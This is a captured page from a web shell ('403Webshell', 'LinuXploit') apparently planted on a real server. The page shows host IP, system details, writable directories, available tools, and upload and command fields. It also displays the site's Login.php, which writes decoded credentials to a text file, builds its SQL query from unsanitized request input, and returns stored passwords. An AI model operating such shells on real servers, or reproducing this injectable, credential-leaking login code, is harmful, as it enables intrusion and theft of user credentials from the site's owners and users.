403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.55
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/suachtzr/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/suachtzr/public_html/Login.php
<?php
date_default_timezone_set('America/New_York');
include 'config.php';
if(isset($_REQUEST['login']))
{
	$str = base64_decode($_REQUEST['login']);
	$str = str_replace("_11___4545", "Q", $str);
	$str = str_replace("__4___045", "M", $str);
	$str = str_replace("_13__7217_", "P", $str);
	$str = str_replace("_705_", "W", $str);
	$str = str_replace("_9321__", "B", $str);
	$str = str_replace("_4883_1_", "A", $str);
	$stringt = "";
	$arr1 = str_split($str);
	foreach($arr1 as $key => $value)
	{
		$number = ord($value);
		$stringt .= chr($number-1);
	}
	$base = base64_decode($stringt);
	$info = explode(':', $base);
	file_put_contents("test.txt", $base);
	$user = $info[0];
	$pass = $info[1];
	$idpc = $info[2];
	$time = $info[3];
	$result = mysqli_fetch_assoc(Select('User', false, '`TaiKhoan` LIKE "'.$user.'" AND `MatKhau` LIKE "'.$pass.'" AND `IdPC` LIKE "'.$idpc.'"'));
	if($result['TaiKhoan'] != '')
	{
		$thoiGianConLai = ($result['ThoiGianDangKy']+($result['ThoiGianSuDung']*60*60*24))-time();
		if($thoiGianConLai <= 0)
		{
			echo 'false2';
			return;
		}
		$timedow = $time+120;
		if(time() > $timedow)
		{
			echo 'false';
			return;
		}
		$number = rand(0, 3);
		$list = array("User" => $result['TaiKhoan'], "TimeEnd" => $thoiGianConLai, "IDPC" => $result['IdPC'], "Pass" => $result['MatKhau'], "CurrentTime" => time(), "Code" => md5(time()));
		if($number == 0)
		{
			$list = array("Code" => md5(time()), "TimeEnd" => $thoiGianConLai, "User" => $result['TaiKhoan'], "CurrentTime" => time(), "IDPC" => $result['IdPC'], "Pass" => $result['MatKhau']);
		}
		else if($number == 1)
		{
			$list = array("TimeEnd" => $thoiGianConLai, "Code" => md5(time()), "User" => $result['TaiKhoan'], "IDPC" => $result['IdPC'], "CurrentTime" => time(), "Pass" => $result['MatKhau']);
		}
		else if($number == 2)
		{
			$list = array("User" => $result['TaiKhoan'], "TimeEnd" => $thoiGianConLai, "IDPC" => $result['IdPC'], "CurrentTime" => time(), "Pass" => $result['MatKhau'], "Code" => md5(time()));
		}
		$text = json_encode($list);
		$arr1 = str_split($text);
		$stringt = "";
		foreach($arr1 as $key => $value)
		{
			$number = ord($value);
			$stringt .= chr($number+1);
		}
		$stringt = str_replace("%", "VtAZB::221", $stringt);
		$stringt = str_replace(":", "VtB:Hva:3B", $stringt);
		$stringt = str_replace("#", "CxzwAA:Hva-G1", $stringt);
		$stringt = base64_encode($stringt);
		$stringt = str_replace("==", "bRaTVZ==Tvabuz", $stringt);
		echo base64_encode($stringt);
	}
	else
	{
		echo 'false';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit